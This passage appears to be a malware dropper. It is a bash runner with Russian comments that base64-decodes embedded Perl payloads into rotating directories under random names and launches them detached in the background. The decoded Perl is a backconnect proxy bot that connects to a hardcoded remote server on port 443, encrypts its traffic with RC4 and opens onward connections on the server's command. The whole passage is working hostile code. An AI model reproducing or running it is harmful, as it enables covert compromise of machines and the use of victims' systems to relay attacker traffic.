YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #50 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #50 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 51 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #51 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #51 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 52 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 